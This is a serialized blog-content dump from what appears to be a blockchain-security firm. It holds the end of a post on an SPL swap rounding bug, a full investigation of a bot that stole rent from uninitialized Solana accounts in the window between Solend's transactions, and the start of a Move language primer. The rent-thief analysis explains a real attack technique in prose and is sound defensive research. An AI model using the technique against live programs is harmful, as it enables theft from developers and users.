,6981,6985,6989,6993,6997,7001],{"type":22,"tag":118,"props":6905,"children":6906},{"style":210},[6907],{"type":28,"value":6340},{"type":22,"tag":118,"props":6909,"children":6910},{"style":210},[6911],{"type":28,"value":3546},{"type":22,"tag":118,"props":6913,"children":6914},{"style":532},[6915],{"type":28,"value":6916},"checked_div",{"type":22,"tag":118,"props":6918,"children":6919},{"style":125},[6920],{"type":28,"value":540},{"type":22,"tag":118,"props":6922,"children":6923},{"style":532},[6924],{"type":28,"value":5202},{"type":22,"tag":118,"props":6926,"children":6927},{"style":125},[6928],{"type":28,"value":540},{"type":22,"tag":118,"props":6930,"children":6931},{"style":210},[6932],{"type":28,"value":1407},{"type":22,"tag":118,"props":6934,"children":6935},{"style":204},[6936],{"type":28,"value":5138},{"type":22,"tag":118,"props":6938,"children":6939},{"style":125},[6940],{"type":28,"value":231},{"type":22,"tag":118,"props":6942,"children":6943},{"style":674},[6944],{"type":28,"value":5147},{"type":22,"tag":118,"props":6946,"children":6947},{"style":125},[6948],{"type":28,"value":3627},{"type":22,"tag":118,"props":6950,"children":6951},{"style":210},[6952],{"type":28,"value":1205},{"type":22,"tag":118,"props":6954,"children":6955},{"style":532},[6956],{"type":28,"value":5160},{"type":22,"tag":118,"props":6958,"children":6959},{"style":125},[6960],{"type":28,"value":540},{"type":22,"tag":118,"props":6962,"children":6963},{"style":204},[6964],{"type":28,"value":5243},{"type":22,"tag":118,"props":6966,"children":6967},{"style":125},[6968],{"type":28,"value":3627},{"type":22,"tag":118,"props":6970,"children":6971},{"style":210},[6972],{"type":28,"value":1205},{"type":22,"tag":118,"props":6974,"children":6975},{"style":532},[6976],{"type":28,"value":5256},{"type":22,"tag":118,"props":6978,"children":6979},{"style":125},[6980],{"type":28,"value":540},{"type":22,"tag":118,"props":6982,"children":6983},{"style":204},[6984],{"type":28,"value":5265},{"type":22,"tag":118,"props":6986,"children":6987},{"style":125},[6988],{"type":28,"value":3627},{"type":22,"tag":118,"props":6990,"children":6991},{"style":210},[6992],{"type":28,"value":796},{"type":22,"tag":118,"props":6994,"children":6995},{"style":125},[6996],{"type":28,"value":3627},{"type":22,"tag":118,"props":6998,"children":6999},{"style":210},[7000],{"type":28,"value":796},{"type":22,"tag":118,"props":7002,"children":7003},{"style":125},[7004],{"type":28,"value":801},{"type":22,"tag":118,"props":7006,"children":7007},{"class":120,"line":318},[7008,7012,7016,7020,7024,7028],{"type":22,"tag":118,"props":7009,"children":7010},{"style":210},[7011],{"type":28,"value":6340},{"type":22,"tag":118,"props":7013,"children":7014},{"style":1480},[7015],{"type":28,"value":5293},{"type":22,"tag":118,"props":7017,"children":7018},{"style":204},[7019],{"type":28,"value":5038},{"type":22,"tag":118,"props":7021,"children":7022},{"style":210},[7023],{"type":28,"value":1780},{"type":22,"tag":118,"props":7025,"children":7026},{"style":204},[7027],{"type":28,"value":6732},{"type":22,"tag":118,"props":7029,"children":7030},{"style":125},[7031],{"type":28,"value":1474},{"type":22,"tag":118,"props":7033,"children":7034},{"class":120,"line":351},[7035,7039,7043,7047,7051,7055,7059,7063,7067,7071,7075,7079,7083,7087,7091,7095,7099,7103,7107,7111,7115,7119,7123],{"type":22,"tag":118,"props":7036,"children":7037},{"style":210},[7038],{"type":28,"value":3220},{"type":22,"tag":118,"props":7040,"children":7041},{"style":146},[7042],{"type":28,"value":827},{"type":22,"tag":118,"props":7044,"children":7045},{"style":125},[7046],{"type":28,"value":842},{"type":22,"tag":118,"props":7048,"children":7049},{"style":204},[7050],{"type":28,"value":5100},{"type":22,"tag":118,"props":7052,"children":7053},{"style":125},[7054],{"type":28,"value":231},{"type":22,"tag":118,"props":7056,"children":7057},{"style":204},[7058],{"type":28,"value":3422},{"type":22,"tag":118,"props":7060,"children":7061},{"style":125},[7062],{"type":28,"value":588},{"type":22,"tag":118,"props":7064,"children":7065},{"style":210},[7066],{"type":28,"value":282},{"type":22,"tag":118,"props":7068,"children":7069},{"style":125},[7070],{"type":28,"value":842},{"type":22,"tag":118,"props":7072,"children":7073},{"style":532},[7074],{"type":28,"value":5125},{"type":22,"tag":118,"props":7076,"children":7077},{"style":125},[7078],{"type":28,"value":540},{"type":22,"tag":118,"props":7080,"children":7081},{"style":210},[7082],{"type":28,"value":1407},{"type":22,"tag":118,"props":7084,"children":7085},{"style":204},[7086],{"type":28,"value":5138},{"type":22,"tag":118,"props":7088,"children":7089},{"style":125},[7090],{"type":28,"value":231},{"type":22,"tag":118,"props":7092,"children":7093},{"style":674},[7094],{"type":28,"value":5147},{"type":22,"tag":118,"props":7096,"children":7097},{"style":125},[7098],{"type":28,"value":3627},{"type":22,"tag":118,"props":7100,"children":7101},{"style":210},[7102],{"type":28,"value":1205},{"type":22,"tag":118,"props":7104,"children":7105},{"style":532},[7106],{"type":28,"value":5160},{"type":22,"tag":118,"props":7108,"children":7109},{"style":125},[7110],{"type":28,"value":540},{"type":22,"tag":118,"props":7112,"children":7113},{"style":204},[7114],{"type":28,"value":5169},{"type":22,"tag":118,"props":7116,"children":7117},{"style":125},[7118],{"type":28,"value":3627},{"type":22,"tag":118,"props":7120,"children":7121},{"style":210},[7122],{"type":28,"value":796},{"type":22,"tag":118,"props":7124,"children":7125},{"style":125},[7126],{"type":28,"value":3665},{"type":22,"tag":118,"props":7128,"children":7129},{"class":120,"line":359},[7130,7134,7138,7142,7146,7150,7154,7158,7162,7166,7170,7174,7178,7182,7186,7190,7194,7198,7202,7206,7210,7214,7218,7222,7226],{"type":22,"tag":118,"props":7131,"children":7132},{"style":210},[7133],{"type":28,"value":3220},{"type":22,"tag":118,"props":7135,"children":7136},{"style":210},[7137],{"type":28,"value":3546},{"type":22,"tag":118,"props":7139,"children":7140},{"style":532},[7141],{"type":28,"value":5193},{"type":22,"tag":118,"props":7143,"children":7144},{"style":125},[7145],{"type":28,"value":540},{"type":22,"tag":118,"props":7147,"children":7148},{"style":532},[7149],{"type":28,"value":5202},{"type":22,"tag":118,"props":7151,"children":7152},{"style":125},[7153],{"type":28,"value":540},{"type":22,"tag":118,"props":7155,"children":7156},{"style":210},[7157],{"type":28,"value":1407},{"type":22,"tag":118,"props":7159,"children":7160},{"style":204},[7161],{"type":28,"value":5138},{"type":22,"tag":118,"props":7163,"children":7164},{"style":125},[7165],{"type":28,"value":231},{"type":22,"tag":118,"props":7167,"children":7168},{"style":674},[7169],{"type":28,"value":5147},{"type":22,"tag":118,"props":7171,"children":7172},{"style":125},[7173],{"type":28,"value":3627},{"type":22,"tag":118,"props":7175,"children":7176},{"style":210},[7177],{"type":28,"value":1205},{"type":22,"tag":118,"props":7179,"children":7180},{"style":532},[7181],{"type":28,"value":5160},{"type":22,"tag":118,"props":7183,"children":7184},{"style":125},[7185],{"type":28,"value":540},{"type":22,"tag":118,"props":7187,"children":7188},{"style":204},[7189],{"type":28,"value":5243},{"type":22,"tag":118,"props":7191,"children":7192},{"style":125},[7193],{"type":28,"value":3627},{"type":22,"tag":118,"props":7195,"children":7196},{"style":210},[7197],{"type":28,"value":1205},{"type":22,"tag":118,"props":7199,"children":7200},{"style":532},[7201],{"type":28,"value":5256},{"type":22,"tag":118,"props":7203,"children":7204},{"style":125},[7205],{"type":28,"value":540},{"type":22,"tag":118,"props":7207,"children":7208},{"style":204},[7209],{"type":28,"value":5265},{"type":22,"tag":118,"props":7211,"children":7212},{"style":125},[7213],{"type":28,"value":3627},{"type":22,"tag":118,"props":7215,"children":7216},{"style":210},[7217],{"type":28,"value":796},{"type":22,"tag":118,"props":7219,"children":7220},{"style":125},[7221],{"type":28,"value":3627},{"type":22,"tag":118,"props":7223,"children":7224},{"style":210},[7225],{"type":28,"value":796},{"type":22,"tag":118,"props":7227,"children":7228},{"style":125},[7229],{"type":28,"value":801},{"type":22,"tag":118,"props":7231,"children":7232},{"class":120,"line":368},[7233,7237,7241,7245,7249,7253],{"type":22,"tag":118,"props":7234,"children":7235},{"style":210},[7236],{"type":28,"value":3220},{"type":22,"tag":118,"props":7238,"children":7239},{"style":1480},[7240],{"type":28,"value":5293},{"type":22,"tag":118,"props":7242,"children":7243},{"style":204},[7244],{"type":28,"value":5298},{"type":22,"tag":118,"props":7246,"children":7247},{"style":210},[7248],{"type":28,"value":1780},{"type":22,"tag":118,"props":7250,"children":7251},{"style":204},[7252],{"type":28,"value":5038},{"type":22,"tag":118,"props":7254,"children":7255},{"style":125},[7256],{"type":28,"value":1474},{"type":22,"tag":118,"props":7258,"children":7259},{"class":120,"line":384},[7260,7265],{"type":22,"tag":118,"props":7261,"children":7262},{"style":1480},[7263],{"type":28,"value":7264},"             break",{"type":22,"tag":118,"props":7266,"children":7267},{"style":125},[7268],{"type":28,"value":801},{"type":22,"tag":118,"props":7270,"children":7271},{"class":120,"line":417},[7272,7276,7280,7284],{"type":22,"tag":118,"props":7273,"children":7274},{"style":210},[7275],{"type":28,"value":3220},{"type":22,"tag":118,"props":7277,"children":7278},{"style":125},[7279],{"type":28,"value":5330},{"type":22,"tag":118,"props":7281,"children":7282},{"style":1480},[7283],{"type":28,"value":5335},{"type":22,"tag":118,"props":7285,"children":7286},{"style":125},[7287],{"type":28,"value":1474},{"type":22,"tag":118,"props":7289,"children":7290},{"class":120,"line":425},[7291,7295,7299,7303,7307],{"type":22,"tag":118,"props":7292,"children":7293},{"style":210},[7294],{"type":28,"value":3220},{"type":22,"tag":118,"props":7296,"children":7297},{"style":204},[7298],{"type":28,"value":5347},{"type":22,"tag":118,"props":7300,"children":7301},{"style":210},[7302],{"type":28,"value":837},{"type":22,"tag":118,"props":7304,"children":7305},{"style":204},[7306],{"type":28,"value":5298},{"type":22,"tag":118,"props":7308,"children":7309},{"style":125},[7310],{"type":28,"value":801},{"type":22,"tag":118,"props":7312,"children":7313},{"class":120,"line":441},[7314],{"type":22,"tag":118,"props":7315,"children":7316},{"style":125},[7317],{"type":28,"value":7318},"         }\n",{"type":22,"tag":23,"props":7320,"children":7322},{"id":7321},"closing-thoughts",[7323],{"type":28,"value":7324},"Closing Thoughts",{"type":22,"tag":31,"props":7326,"children":7327},{},[7328],{"type":28,"value":7329},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":22,"tag":31,"props":7331,"children":7332},{},[7333,7335,7340],{"type":28,"value":7334},"Another interesting takeaway is that ",{"type":22,"tag":74,"props":7336,"children":7337},{},[7338],{"type":28,"value":7339},"fuzzing can give a false sense of security",{"type":28,"value":7341},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":22,"tag":31,"props":7343,"children":7344},{},[7345,7347,7354],{"type":28,"value":7346},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":22,"tag":42,"props":7348,"children":7351},{"href":7349,"rel":7350},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[46],[7352],{"type":28,"value":7353},"port-mortem of the NSS overflow",{"type":28,"value":292},{"type":22,"tag":31,"props":7356,"children":7357},{},[7358],{"type":22,"tag":5928,"props":7359,"children":7361},{"alt":7,"src":7360},"/posts/spl-swap/p0.png",[],{"type":22,"tag":31,"props":7363,"children":7364},{},[7365],{"type":28,"value":7366},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":22,"tag":31,"props":7368,"children":7369},{},[7370],{"type":28,"value":7371},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":22,"tag":31,"props":7373,"children":7374},{},[7375],{"type":28,"value":7376},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":22,"tag":4880,"props":7378,"children":7379},{},[7380],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":7382},[7383,7384,7385,7386],{"id":4950,"depth":142,"text":4953},{"id":5934,"depth":142,"text":5937},{"id":6241,"depth":142,"text":6244},{"id":7321,"depth":142,"text":7324},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":7391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7392,"description":7393,"image":7394,"date":7398,"isFeatured":15,"onBlogPage":15,"tags":7399,"body":7400,"_type":4896,"_id":7723,"_source":4898,"_file":7724,"_stem":7725,"_extension":4901},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":7395,"width":7396,"height":7397},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[17,4913],{"type":19,"children":7401,"toc":7716},[7402,7407,7413,7418,7423,7428,7434,7447,7493,7524,7533,7538,7543,7548,7554,7567,7583,7588,7593,7608,7612,7617,7632,7639,7644,7654,7661,7665,7670,7676,7681,7686,7691,7697,7702],{"type":22,"tag":31,"props":7403,"children":7404},{},[7405],{"type":28,"value":7406},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":22,"tag":23,"props":7408,"children":7410},{"id":7409},"background",[7411],{"type":28,"value":7412},"Background",{"type":22,"tag":31,"props":7414,"children":7415},{},[7416],{"type":28,"value":7417},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":22,"tag":31,"props":7419,"children":7420},{},[7421],{"type":28,"value":7422},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":22,"tag":31,"props":7424,"children":7425},{},[7426],{"type":28,"value":7427},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":22,"tag":23,"props":7429,"children":7431},{"id":7430},"the-exploit",[7432],{"type":28,"value":7433},"The Exploit",{"type":22,"tag":31,"props":7435,"children":7436},{},[7437,7439,7445],{"type":28,"value":7438},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":22,"tag":114,"props":7440,"children":7442},{"className":7441},[],[7443],{"type":28,"value":7444},"init_reserve",{"type":28,"value":7446}," function, which creates 6 new accounts to store data about the reserve:",{"type":22,"tag":4029,"props":7448,"children":7449},{},[7450,7455,7460,7465,7476,7481],{"type":22,"tag":68,"props":7451,"children":7452},{},[7453],{"type":28,"value":7454},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":22,"tag":68,"props":7456,"children":7457},{},[7458],{"type":28,"value":7459},"reserve liquidity token account - holds deposited tokens",{"type":22,"tag":68,"props":7461,"children":7462},{},[7463],{"type":28,"value":7464},"fee receiver token account - account which will receive origination fees on borrows",{"type":22,"tag":68,"props":7466,"children":7467},{},[7468,7470],{"type":28,"value":7469},"reserve collateral mint account - deposit receipt token, also known as ",{"type":22,"tag":114,"props":7471,"children":7473},{"className":7472},[],[7474],{"type":28,"value":7475},"cTokens",{"type":22,"tag":68,"props":7477,"children":7478},{},[7479],{"type":28,"value":7480},"reserve collateral token account - holds users' collateral tokens",{"type":22,"tag":68,"props":7482,"children":7483},{},[7484,7486,7492],{"type":28,"value":7485},"creator collateral token account - creator's ",{"type":22,"tag":114,"props":7487,"children":7489},{"className":7488},[],[7490],{"type":28,"value":7491},"cToken",{"type":28,"value":3203},{"type":22,"tag":31,"props":7494,"children":7495},{},[7496,7498,7503,7505,7510,7512,7517,7519],{"type":28,"value":7497},"Account creation and initialization are ",{"type":22,"tag":4764,"props":7499,"children":7500},{},[7501],{"type":28,"value":7502},"usually",{"type":28,"value":7504}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":22,"tag":114,"props":7506,"children":7508},{"className":7507},[],[7509],{"type":28,"value":7444},{"type":28,"value":7511}," is ",{"type":22,"tag":4764,"props":7513,"children":7514},{},[7515],{"type":28,"value":7516},"supposed",{"type":28,"value":7518}," to look like:\n",{"type":22,"tag":5928,"props":7520,"children":7523},{"src":7521,"alt":7522},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":22,"tag":31,"props":7525,"children":7526},{},[7527,7529],{"type":28,"value":7528},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":22,"tag":5928,"props":7530,"children":7532},{"src":7531,"alt":7522},"/posts/rent-thief/attacktransac.png",[],{"type":22,"tag":31,"props":7534,"children":7535},{},[7536],{"type":28,"value":7537},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":22,"tag":31,"props":7539,"children":7540},{},[7541],{"type":28,"value":7542},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":22,"tag":31,"props":7544,"children":7545},{},[7546],{"type":28,"value":7547},"Despite this lost cost, this is pretty annoying...",{"type":22,"tag":23,"props":7549,"children":7551},{"id":7550},"example",[7552],{"type":28,"value":7553},"Example",{"type":22,"tag":31,"props":7555,"children":7556},{},[7557,7559,7566],{"type":28,"value":7558},"Let's take a look at ",{"type":22,"tag":42,"props":7560,"children":7563},{"href":7561,"rel":7562},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[46],[7564],{"type":28,"value":7565},"a real attack",{"type":28,"value":292},{"type":22,"tag":31,"props":7568,"children":7569},{},[7570,7577,7579],{"type":22,"tag":42,"props":7571,"children":7574},{"href":7572,"rel":7573},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[46],[7575],{"type":28,"value":7576},"Transaction 1",{"type":28,"value":7578},":\n",{"type":22,"tag":5928,"props":7580,"children":7582},{"alt":7,"src":7581},"https://i.imgur.com/xJvIwgc.png",[],{"type":22,"tag":31,"props":7584,"children":7585},{},[7586],{"type":28,"value":7587},"(...more accounts truncated)",{"type":22,"tag":31,"props":7589,"children":7590},{},[7591],{"type":28,"value":7592},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":22,"tag":31,"props":7594,"children":7595},{},[7596,7603,7604],{"type":22,"tag":42,"props":7597,"children":7600},{"href":7598,"rel":7599},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[46],[7601],{"type":28,"value":7602},"Attacker's Transaction",{"type":28,"value":7578},{"type":22,"tag":5928,"props":7605,"children":7607},{"alt":7,"src":7606},"https://i.imgur.com/CpSKuL3.png",[],{"type":22,"tag":31,"props":7609,"children":7610},{},[7611],{"type":28,"value":7587},{"type":22,"tag":31,"props":7613,"children":7614},{},[7615],{"type":28,"value":7616},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":22,"tag":31,"props":7618,"children":7619},{},[7620,7627,7628],{"type":22,"tag":42,"props":7621,"children":7624},{"href":7622,"rel":7623},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[46],[7625],{"type":28,"value":7626},"Transaction 2",{"type":28,"value":7578},{"type":22,"tag":5928,"props":7629,"children":7631},{"alt":7,"src":7630},"https://i.imgur.com/of0GIdw.png",[],{"type":22,"tag":31,"props":7633,"children":7634},{},[7635],{"type":22,"tag":5928,"props":7636,"children":7638},{"alt":7,"src":7637},"https://i.imgur.com/0STSyv8.png",[],{"type":22,"tag":31,"props":7640,"children":7641},{},[7642],{"type":28,"value":7643},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":22,"tag":31,"props":7645,"children":7646},{},[7647,7653],{"type":22,"tag":42,"props":7648,"children":7651},{"href":7649,"rel":7650},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[46],[7652],{"type":28,"value":7602},{"type":28,"value":213},{"type":22,"tag":31,"props":7655,"children":7656},{},[7657],{"type":22,"tag":5928,"props":7658,"children":7660},{"alt":7,"src":7659},"https://i.imgur.com/AmSPdmy.png",[],{"type":22,"tag":31,"props":7662,"children":7663},{},[7664],{"type":28,"value":7587},{"type":22,"tag":31,"props":7666,"children":7667},{},[7668],{"type":28,"value":7669},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":22,"tag":23,"props":7671,"children":7673},{"id":7672},"impact",[7674],{"type":28,"value":7675},"Impact",{"type":22,"tag":31,"props":7677,"children":7678},{},[7679],{"type":28,"value":7680},"Rent-thieving attacks don't steal much money.",{"type":22,"tag":31,"props":7682,"children":7683},{},[7684],{"type":28,"value":7685},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":22,"tag":31,"props":7687,"children":7688},{},[7689],{"type":28,"value":7690},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":22,"tag":23,"props":7692,"children":7694},{"id":7693},"solution",[7695],{"type":28,"value":7696},"Solution",{"type":22,"tag":31,"props":7698,"children":7699},{},[7700],{"type":28,"value":7701},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":22,"tag":31,"props":7703,"children":7704},{},[7705,7707,7714],{"type":28,"value":7706},"As a more permenant solution, Solend implemented ",{"type":22,"tag":42,"props":7708,"children":7711},{"href":7709,"rel":7710},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[46],[7712],{"type":28,"value":7713},"an onchain program",{"type":28,"value":7715}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":142,"depth":142,"links":7717},[7718,7719,7720,7721,7722],{"id":7409,"depth":142,"text":7412},{"id":7430,"depth":142,"text":7433},{"id":7550,"depth":142,"text":7553},{"id":7672,"depth":142,"text":7675},{"id":7693,"depth":142,"text":7696},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":7727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7728,"description":7729,"author":7730,"image":7731,"date":7735,"isFeatured":15,"onBlogPage":15,"body":7736,"_type":4896,"_id":11254,"_source":4898,"_file":11255,"_stem":11256,"_extension":4901},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":7732,"height":7733,"width":7734},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":19,"children":7737,"toc":11249},[7738,7743,7748,7767,7773,7785,7882,7890,8010,8018,8040,8192,8197,8455,8477,8512,8517,8537,8542,8553,8565,8775,8787,8801,8814,9071,9083,9303,9308,9336,9482,9501,9506,9769,9781,9786,9799,9805,9810,9815,9827,9841,9846,9944,9956,9969,10242,10247,10259,10264,10317,10337,10342,11218,11222,11227,11232,11245],{"type":22,"tag":31,"props":7739,"children":7740},{},[7741],{"type":28,"value":7742},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":22,"tag":31,"props":7744,"children":7745},{},[7746],{"type":28,"value":7747},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":22,"tag":31,"props":7749,"children":7750},{},[7751,7753,7758,7760,7765],{"type":28,"value":7752},"In this piece I'll seek to discuss exactly ",{"type":22,"tag":4764,"props":7754,"children":7755},{},[7756],{"type":28,"value":7757},"how",{"type":28,"value":7759}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":22,"tag":4764,"props":7761,"children":7762},{},[7763],{"type":28,"value":7764},"structurally",{"type":28,"value":7766}," safer programs.",{"type":22,"tag":23,"props":7768,"children":7770},{"id":7769},"types",[7771],{"type":28,"value":7772},"Types",{"type":22,"tag":31,"props":7774,"children":7775},{},[7776,7778,7784],{"type":28,"value":7777},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":22,"tag":114,"props":7779,"children":7781},{"className":7780},[],[7782],{"type":28,"value":7783},"coin.move",{"type":28,"value":292},{"type":22,"tag":107,"props":7786,"children":7788},{"className":109,"code":7787,"language":111,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[7789],{"type":22,"tag":114,"props":7790,"children":7791},{"__ignoreMap":7},[7792,7800,7846,7854,7874],{"type":22,"tag":118,"props":7793,"children":7794},{"class":120,"line":121},[7795],{"type":22,"tag":118,"props":7796,"children":7797},{"style":257},[7798],{"type":28,"value":7799},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":22,"tag":118,"props":7801,"children":7802},{"class":120,"line":142},[7803,7808,7813,7817,7822,7827,7832,7837,7842],{"type":22,"tag":118,"props":7804,"children":7805},{"style":146},[7806],{"type":28,"value":7807},"  struct",{"type":22,"tag":118,"props":7809,"children":7810},{"style":131},[7811],{"type":28,"value":7812}," Coin",{"type":22,"tag":118,"props":7814,"children":7815},{"style":125},[7816],{"type":28,"value":559},{"type":22,"tag":118,"props":7818,"children":7819},{"style":204},[7820],{"type":28,"value":7821},"phantom",{"type":22,"tag":118,"props":7823,"children":7824},{"style":131},[7825],{"type":28,"value":7826}," CoinType",{"type":22,"tag":118,"props":7828,"children":7829},{"style":125},[7830],{"type":28,"value":7831},"> ",{"type":22,"tag":118,"props":7833,"children":7834},{"style":204},[7835],{"type":28,"value":7836},"has",{"type":22,"tag":118,"props":7838,"children":7839},{"style":204},[7840],{"type":28,"value":7841}," store",{"type":22,"tag":118,"props":7843,"children":7844},{"style":125},[7845],{"type":28,"value":1474},{"type":22,"tag":118,"props":7847,"children":7848},{"class":120,"line":177},[7849],{"type":22,"tag":118,"props":7850,"children":7851},{"style":257},[7852],{"type":28,"value":7853},"      /// Amount of coin this address has.\n",{"type":22,"tag":118,"props":7855,"children":7856},{"class":120,"line":195},[7857,7862,7866,7870],{"type":22,"tag":118,"props":7858,"children":7859},{"style":204},[7860],{"type":28,"value":7861},"      value",{"type":22,"tag":118,"props":7863,"children":7864},{"style":210},[7865],{"type":28,"value":213},{"type":22,"tag":118,"props":7867,"children":7868},{"style":131},[7869],{"type":28,"value":583},{"type":22,"tag":118,"props":7871,"children":7872},{"style":125},[7873],{"type":28,"value":782},{"type":22,"tag":118,"props":7875,"children":7876},{"class":120,"line":244},[7877],{"type":22,"tag":118,"props":7878,"children":7879},{"style":125},[7880],{"type":28,"value":7881},"  }\n",{"type":22,"tag":31,"props":7883,"children":7884},{},[7885],{"type":22,"tag":4764,"props":7886,"children":7887},{},[7888],{"type":28,"value":7889},"aptos",{"type":22,"tag":107,"props":7891,"children":7893},{"className":109,"code":7892,"language":111,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[7894],{"type":22,"tag":114,"props":7895,"children":7896},{"__ignoreMap":7},[7897,7905,7955,7972,8003],{"type":22,"tag":118,"props":7898,"children":7899},{"class":120,"line":121},[7900],{"type":22,"tag":118,"props":7901,"children":7902},{"style":257},[7903],{"type":28,"value":7904},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":22,"tag":118,"props":7906,"children":7907},{"class":120,"line":142},[7908,7912,7916,7920,7924,7929,7933,7937,7942,7946,7951],{"type":22,"tag":118,"props":7909,"children":7910},{"style":146},[7911],{"type":28,"value":7807},{"type":22,"tag":118,"props":7913,"children":7914},{"style":131},[7915],{"type":28,"value":7812},{"type":22,"tag":118,"props":7917,"children":7918},{"style":125},[7919],{"type":28,"value":559},{"type":22,"tag":118,"props":7921,"children":7922},{"style":204},[7923],{"type":28,"value":7821},{"type":22,"tag":118,"props":7925,"children":7926},{"style":131},[7927],{"type":28,"value":7928}," T",{"type":22,"tag":118,"props":7930,"children":7931},{"style":125},[7932],{"type":28,"value":7831},{"type":22,"tag":118,"props":7934,"children":7935},{"style":204},[7936],{"type":28,"value":7836},{"type":22,"tag":118,"props":7938,"children":7939},{"style":204},[7940],{"type":28,"value":7941}," 